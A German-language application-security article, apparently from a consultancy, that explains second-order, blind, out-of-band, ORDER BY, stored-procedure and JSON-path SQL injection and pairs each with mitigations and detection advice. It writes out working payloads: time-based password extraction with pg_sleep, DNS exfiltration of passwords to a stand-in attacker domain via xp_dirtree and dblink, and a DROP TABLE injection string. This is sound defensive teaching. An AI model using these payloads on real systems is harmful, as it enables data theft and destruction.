Second-Order, Blind und Out-of-Band im Detail
Prepared Statements stoppen die klassische SQL-Injection an der Eingabemaske, aber laengst nicht jeder Vektor laeuft ueber ein einzelnes Formularfeld. Second-Order-Injection, Blind-Injection ohne sichtbare Fehlermeldung, Out-of-Band-Exfiltration ueber DNS und Injection in Identifier-Kontexten wie ORDER BY umgehen genau die Schutzmassnahmen, auf die sich Teams meist verlassen.
Inhaltsverzeichnis
- 1. Warum SQL-Injection trotz Prepared Statements nicht verschwunden ist
- 2. Second-Order SQL-Injection: der verzoegerte Angriff
- 3. Blind SQL-Injection: Boolean- und Time-based ohne Fehlermeldung
- 4. Out-of-Band SQL-Injection: Exfiltration ueber DNS und HTTP
- 5. Injection ueber ORDER BY, LIMIT und Identifier-Kontexte
- 6. SQL-Injection in dynamisch gebauten Stored Procedures
- 7. Injection ueber JSON-Operatoren und moderne SQL-Funktionen
- 8. Erkennung: wie man diese Vektoren in Logs findet
- 9. SQL-Injection-Vektoren im Vergleich
- 10. Zusammenfassung
- 11. FAQ
1. Warum SQL-Injection trotz Prepared Statements nicht verschwunden ist
SQL-Injection gilt seit Jahren als geloestes Problem, sobald Prepared Statements konsequent eingesetzt werden. Diese Annahme stimmt fuer die klassische Form der SQL-Injection, bei der ein Benutzer direkt in einem Formularfeld manipulierten Input eingibt, der ungeprueft in eine SQL-Zeichenkette eingebaut wird. Prepared Statements trennen Code und Daten zuverlaessig, wenn sie fuer jeden Wert konsequent genutzt werden.
Das Problem: Diese eine Schutzmassnahme deckt nicht alle Vektoren der SQL-Injection ab. Daten, die zunaechst harmlos gespeichert und erst spaeter in einem anderen Kontext ohne Parametrisierung verwendet werden, umgehen Prepared Statements vollstaendig. Identifier wie Spalten- oder Tabellennamen koennen nicht parametrisiert werden, weil Prepared Statements nur Werte, keine SQL-Struktur ersetzen. Dynamisch gebaute Stored Procedures und moderne JSON-Funktionen eroeffnen zusaetzliche Angriffsflaechen, die weit ueber das klassische Lehrbuchbeispiel hinausgehen.
Wer SQL-Injection ausschliesslich als geloestes Problem betrachtet, sobald ein ORM oder Query Builder im Einsatz ist, uebersieht genau diese fortgeschrittenen Vektoren. Die folgenden Abschnitte gehen bewusst ueber die Standardempfehlung "Prepared Statements nutzen" hinaus und zeigen, wo SQL-Injection auch in disziplinierten Codebasen noch zuschlagen kann.
2. Second-Order SQL-Injection: der verzoegerte Angriff
Second-Order SQL-Injection unterscheidet sich fundamental von der klassischen Variante: Der schaedliche Input wird zunaechst sicher als parametrisierter Wert gespeichert, etwa ein Benutzername mit einem eingebetteten SQL-Fragment. Beim Speichern selbst passiert nichts, weil Prepared Statements den Wert korrekt escapen. Der Angriff schlaegt erst zu, wenn dieser gespeicherte Wert spaeter, oft in einem ganz anderen Teil der Anwendung, ungeprueft in eine dynamisch gebaute Query eingebaut wird.
Ein klassisches Beispiel fuer Second-Order SQL-Injection: Ein Registrierungsformular speichert einen Benutzernamen sicher per Prepared Statement. Eine spaetere Admin-Funktion, die Benutzernamen fuer einen Report formatiert und dabei String-Konkatenation statt Parametrisierung verwendet, weil der Wert ja "schon in der Datenbank" ist und als vertrauenswuerdig gilt, fuehrt den eingebetteten SQL-Code aus. Der zeitliche und codeliche Abstand zwischen Speichern und Ausfuehren macht diesen Vektor besonders schwer zu erkennen.
-- Step 1: attacker registers with a malicious username
-- Safely stored via a prepared statement, no injection here
INSERT INTO users (username, email) VALUES
($1, $2);
-- $1 = "admin'--", stored literally, no SQL executed at this point
-- Step 2 (later, different code path): an admin report
-- builds a query via string concatenation, trusting the stored value
-- WRONG: second-order injection triggers here
report_query = "SELECT * FROM users WHERE username = '" + stored_username + "'"
-- Resulting query: SELECT * FROM users WHERE username = 'admin'--'
-- The trailing comparison is commented out, changing query semantics
-- RIGHT: parameterize every query, even for values already in the database
-- Never treat "already stored" as equivalent to "safe to concatenate"
Der entscheidende Punkt bei Second-Order SQL-Injection: Es reicht nicht, nur Eingabefelder zu parametrisieren. Jede Stelle im Code, an der ein Datenbankwert erneut in eine Query eingebaut wird, egal ob aus einem Formular oder aus der Datenbank selbst stammend, muss dieselbe Parametrisierungsdisziplin einhalten. Ein einziger vergessener Konkatenations-Aufruf in einem selten genutzten Reporting-Modul reicht als Einfallstor.
3. Blind SQL-Injection: Boolean- und Time-based ohne Fehlermeldung
Blind SQL-Injection tritt auf, wenn eine verwundbare Anwendung keine Fehlermeldungen oder Datenbankausgaben direkt anzeigt, aber trotzdem parametrisierte Werte ungeprueft konkateniert. Ohne sichtbare Fehlermeldung kann ein Angreifer keinen Syntaxfehler ablesen, aber er kann trotzdem Informationen extrahieren, indem er das Verhalten der Anwendung indirekt beobachtet: Boolean-based Blind SQL-Injection nutzt Unterschiede im Anwendungsverhalten zwischen wahren und falschen Bedingungen, etwa ob eine Seite normal laedt oder einen generischen Fehler zeigt.
Time-based Blind SQL-Injection geht noch einen Schritt weiter und funktioniert, selbst wenn Anwendungsverhalten fuer wahr und falsch identisch aussieht. Der Angreifer fuegt eine bedingte Verzoegerung ein, etwa pg_sleep(5) in PostgreSQL, die nur ausgefuehrt wird, wenn eine bestimmte Bedingung zutrifft. Eine messbare Verzoegerung von fuenf Sekunden in der Serverantwort bestaetigt, dass die Bedingung wahr war, Zeichen fuer Zeichen laesst sich so der Inhalt einer Datenbank exfiltrieren, ganz ohne jede sichtbare Fehlermeldung.
-- Boolean-based blind injection: observe true/false page behavior
-- Injected into an unparameterized WHERE clause fragment:
-- ' AND (SELECT substring(password,1,1) FROM users WHERE id=1) = 'a
-- Page behaves normally if the guessed character is correct
-- Time-based blind injection: no visible difference needed at all
-- Injected fragment causes a conditional delay:
' AND (SELECT CASE WHEN (substring(password,1,1)='a')
THEN pg_sleep(5) ELSE pg_sleep(0) END FROM users WHERE id=1)='
-- A 5 second response delay confirms the guessed character,
-- repeated character by character to extract the full value
-- Detection: consistently slow responses correlated with specific inputs
4. Out-of-Band SQL-Injection: Exfiltration ueber DNS und HTTP
Out-of-Band SQL-Injection kommt zum Einsatz, wenn weder direkte Fehlermeldungen noch messbare Zeitunterschiede verfuegbar sind, etwa hinter aggressivem Timeout-Handling oder Load Balancern, die Antwortzeiten normalisieren. Statt auf einen sichtbaren Kanal zu warten, nutzt dieser Vektor der SQL-Injection einen komplett anderen Uebertragungsweg: Die Datenbank selbst initiiert eine ausgehende Netzwerkverbindung, meist eine DNS-Anfrage, deren Subdomain die exfiltrierten Daten codiert enthaelt.
In SQL Server ist xp_dirtree oder xp_fileexist mit einem UNC-Pfad ein klassischer Weg fuer Out-of-Band SQL-Injection, in PostgreSQL nutzen Angreifer Erweiterungen wie dblink, um eine ausgehende Verbindung zu einer vom Angreifer kontrollierten Domain herzustellen. Der DNS-Resolver protokolliert die Anfrage inklusive der codierten Subdomain, und der Angreifer liest die exfiltrierten Daten direkt aus den DNS-Server-Logs, komplett ausserhalb des ueberwachten HTTP-Antwortkanals der Anwendung.
-- Out-of-band injection via SQL Server extended stored procedure
-- Encodes extracted data into a DNS lookup to an attacker domain
EXEC master..xp_dirtree '\\' +
(SELECT TOP 1 password FROM users) +
'.attacker-controlled-domain.example\share';
-- The database server itself performs a DNS lookup,
-- leaking the password value in the subdomain of the query
-- PostgreSQL equivalent using the dblink extension
SELECT dblink_connect('host=' ||
(SELECT password FROM users LIMIT 1) ||
'.attacker-controlled-domain.example dbname=x');
-- Mitigation: disable unneeded extensions and outbound network access
-- for the database server, deny xp_cmdshell and similar procedures
5. Injection ueber ORDER BY, LIMIT und Identifier-Kontexte
Prepared Statements parametrisieren Werte, aber keine SQL-Struktur. Eine Sortierspalte, die dynamisch aus einem Query-Parameter wie ?sort=price in eine ORDER BY-Klausel eingebaut wird, kann nicht als Bind-Parameter uebergeben werden, weil ORDER BY $1 syntaktisch nicht funktioniert, ein Identifier ist keine Zeichenkette. Genau diese Luecke fuehrt dazu, dass Entwickler Spaltennamen per String-Konkatenation einbauen, in dem Glauben, dass ein Sortierparameter ungefaehrlich sei.
SQL-Injection ueber diesen Identifier-Kontext funktioniert genauso wie klassische Injection, nur mit anderer Syntax: Statt eines gueltigen Spaltennamens fuegt der Angreifer eine Subquery oder eine CASE-Konstruktion ein, die an der Stelle eines Identifiers syntaktisch gueltig ist. Der einzige sichere Schutz gegen Injection in Identifier-Kontexten ist eine Whitelist erlaubter Werte, niemals Escaping oder Blacklisting, weil Identifier-Syntax zu viele Varianten hat, um vollstaendig zu blocklisten.
-- WRONG: column name built via string concatenation
sort_column = request.get("sort") // e.g. "price"
query = f"SELECT * FROM products ORDER BY {sort_column}"
-- Attacker sends: sort=(CASE WHEN (1=1) THEN price ELSE id END)
-- Or worse: sort=(SELECT pg_sleep(5)) to trigger blind injection
-- RIGHT: whitelist allowed identifiers, never concatenate directly
ALLOWED_SORT_COLUMNS = {"price", "name", "created_at"}
if sort_column not in ALLOWED_SORT_COLUMNS:
raise ValueError("Invalid sort column")
query = f"SELECT * FROM products ORDER BY {sort_column}"
-- Values (not identifiers) still use bind parameters as usual
6. SQL-Injection in dynamisch gebauten Stored Procedures
Stored Procedures werden oft als grundsaetzlich sicherer gegen SQL-Injection wahrgenommen, weil Logik in der Datenbank statt im Anwendungscode liegt. Diese Annahme ist gefaehrlich falsch, sobald eine Stored Procedure selbst dynamisches SQL per EXECUTE oder EXEC zusammenbaut, statt ausschliesslich mit statischen, parametrisierten Statements zu arbeiten. Eine Stored Procedure, die einen Parameter direkt in einen dynamisch gebauten String einfuegt, ist genauso verwundbar wie Anwendungscode mit demselben Muster.
SQL-Injection in Stored Procedures ist besonders tueckisch, weil Datenbank-Administratoren dynamisches SQL oft fuer flexible, wiederverwendbare Prozeduren einsetzen, etwa um eine Tabelle als Parameter zu erlauben. Genau diese Flexibilitaet oeffnet die Injection-Flaeche, wenn der Tabellenname oder andere strukturelle Parameter ungeprueft in den dynamischen String eingebaut werden.
-- WRONG: stored procedure builds dynamic SQL via concatenation
CREATE PROCEDURE get_records(@table_name NVARCHAR(128))
AS
BEGIN
DECLARE @sql NVARCHAR(MAX);
SET @sql = 'SELECT * FROM ' + @table_name;
EXEC(@sql); -- injectable: @table_name is never parameterized
END;
-- Call: EXEC get_records 'users; DROP TABLE users; --'
-- RIGHT: validate against a whitelist before building dynamic SQL
CREATE PROCEDURE get_records_safe(@table_name NVARCHAR(128))
AS
BEGIN
IF @table_name NOT IN ('orders', 'customers', 'products')
THROW 50000, 'Invalid table name', 1;
DECLARE @sql NVARCHAR(MAX);
SET @sql = 'SELECT * FROM ' + QUOTENAME(@table_name);
EXEC sp_executesql @sql;
END;
7. Injection ueber JSON-Operatoren und moderne SQL-Funktionen
Moderne Datenbanken bieten native JSON-Funktionen wie JSON_EXTRACT, -> und ->>, die haeufig mit dynamisch gebauten JSON-Pfaden verwendet werden. Ein JSON-Pfad, der aus Benutzereingaben zusammengesetzt wird, kann genauso Ziel von SQL-Injection werden wie eine klassische WHERE-Klausel, wenn der Pfad-String nicht parametrisiert, sondern konkateniert wird.
Ein weniger bekannter Vektor betrifft LIKE-Muster, die aus Benutzereingaben gebaut werden. Zwar schuetzt ein Prepared Statement den Wert selbst vor SQL-Injection, aber Wildcard-Zeichen wie % und _ innerhalb des Werts koennen die Semantik der Abfrage veraendern, etwa um teure Volltextsuchen auszuloesen, die als Denial-of-Service-Vektor missbraucht werden, selbst wenn keine klassische Injection stattfindet.
-- WRONG: JSON path built via concatenation, injectable
json_path = request.get("field") // e.g. "$.name"
query = f"SELECT data->'{json_path}' FROM events"
-- Attacker input in json_path can break out of the intended structure
-- RIGHT: whitelist known JSON paths, or use parameterized JSON functions
-- where the database driver supports binding the path as a value
ALLOWED_JSON_PATHS = {"name", "status", "created_at"}
if json_path not in ALLOWED_JSON_PATHS:
raise ValueError("Invalid JSON path")
-- LIKE pattern escaping: neutralize wildcards from user input
search_term = user_input.replace("%", "\\%").replace("_", "\\_")
query = "SELECT * FROM products WHERE name LIKE $1 ESCAPE '\\'"
-- Bind search_term as '%' || search_term || '%'
8. Erkennung: wie man diese Vektoren in Logs findet
Klassische SQL-Injection hinterlaesst oft offensichtliche Spuren wie Datenbankfehlermeldungen in Anwendungslogs. Die hier beschriebenen fortgeschrittenen Vektoren sind bewusst darauf ausgelegt, genau das zu vermeiden. Erkennung von Blind SQL-Injection gelingt am ehesten ueber Anomalien in der Antwortzeit-Verteilung, ungewoehnlich viele nahezu identische Requests mit minimalen Parameteraenderungen, ein klassisches Muster automatisierter Extraktion Zeichen fuer Zeichen.
Out-of-Band SQL-Injection zeigt sich in DNS-Logs des Datenbankservers als ausgehende Anfragen an unbekannte, oft zufaellig aussehende Domains, was in einer normalen Anwendung praktisch nie vorkommen sollte. Ein Web Application Firewall mit Pattern-Matching auf typische Injection-Payloads faengt viele klassische Versuche ab, versagt aber regelmaessig bei Second-Order-Angriffen, weil der schaedliche String beim initialen Request voellig harmlos aussieht und erst spaeter in einem anderen Kontext gefaehrlich wird.
9. SQL-Injection-Vektoren im Vergleich
Die folgende Tabelle ordnet die beschriebenen Vektoren nach Sichtbarkeit fuer den Angreifer und der wirksamsten Gegenmassnahme, jenseits der pauschalen Empfehlung "Prepared Statements verwenden".
| Vektor | Sichtbarkeit fuer Angreifer | Wirksame Gegenmassnahme | Typischer Fundort |
|---|---|---|---|
| Second-Order | Verzoegert, ueber gespeicherte Werte | Parametrisierung an jeder Query-Stelle | Reporting- und Admin-Module |
| Blind Boolean | Nur Anwendungsverhalten sichtbar | Konsistente generische Fehlerseiten | Undokumentierte interne Endpunkte |
| Blind Time-based | Nur Antwortzeit messbar | Query-Timeouts, Rate-Limiting | Suchfunktionen ohne Parametrisierung |
| Out-of-Band | Kein sichtbarer Kanal noetig | Ausgehende Verbindungen der DB blocken | Legacy-Prozeduren mit Netzwerkzugriff |
| Identifier-Kontexte | Fehlermeldung oder Verhaltensaenderung | Whitelist statt Parametrisierung | Dynamische Sortierung, Filter |
Kein einzelner Schutzmechanismus deckt alle Vektoren der SQL-Injection ab. Prepared Statements bleiben die Basis, muessen aber durch Identifier-Whitelisting, deaktivierte gefaehrliche Datenbankfunktionen und konsequente Parametrisierung an jeder Stelle ergaenzt werden, an der Daten erneut in eine Query einfliessen.
Mironsoft
Application Security, Code-Audit und Datenbank-Haertung
Sicher vor SQL-Injection jenseits der Basics?
Wir pruefen Codebasen gezielt auf Second-Order-, Blind- und Identifier-Injection, haerten Stored Procedures gegen dynamisches SQL und richten Detektion fuer Out-of-Band-Exfiltration ein.
Code-Audit
Gezielte Suche nach Second-Order- und Identifier-Injection im Codebestand
Datenbank-Haertung
Gefaehrliche Funktionen und ausgehende Verbindungen konsequent deaktivieren
Monitoring
Detektion fuer Blind- und Out-of-Band-Muster in Logs aufbauen
10. Zusammenfassung
SQL-Injection jenseits der Basics umgeht genau die Schutzmassnahmen, auf die sich viele Teams verlassen. Second-Order-Injection nutzt die zeitliche Luecke zwischen sicherer Speicherung und unsicherer Wiederverwendung eines Werts. Blind-Injection extrahiert Daten ganz ohne sichtbare Fehlermeldung, ueber Anwendungsverhalten oder messbare Zeitverzoegerung. Out-of-Band-Injection verlaesst den ueberwachten HTTP-Kanal komplett und exfiltriert Daten ueber DNS oder andere Netzwerkprotokolle.
Identifier-Kontexte wie ORDER BY lassen sich prinzipiell nicht parametrisieren und brauchen zwingend eine Whitelist. Stored Procedures mit dynamischem SQL sind genauso verwundbar wie Anwendungscode. Wirksamer Schutz vor SQL-Injection braucht deshalb mehr als Prepared Statements: konsequente Parametrisierung an jeder Wiederverwendungsstelle, Identifier-Whitelisting, deaktivierte gefaehrliche Datenbankfunktionen und gezieltes Monitoring auf die Verhaltensmuster von Blind- und Out-of-Band-Angriffen.
SQL-Injection-Vektoren jenseits der Basics: Das Wichtigste auf einen Blick
Second-Order
Gespeicherte Werte spaeter erneut parametrisieren, niemals als bereits sicher betrachten.
Blind Injection
Konsistente Fehlerseiten und Query-Timeouts nehmen Angreifern den Boolean- und Zeit-Kanal.
Identifier-Kontexte
ORDER BY, Tabellennamen und JSON-Pfade immer per Whitelist validieren, nie escapen oder konkatenieren.
Out-of-Band
Ausgehende Netzwerkverbindungen des Datenbankservers konsequent deaktivieren oder blockieren.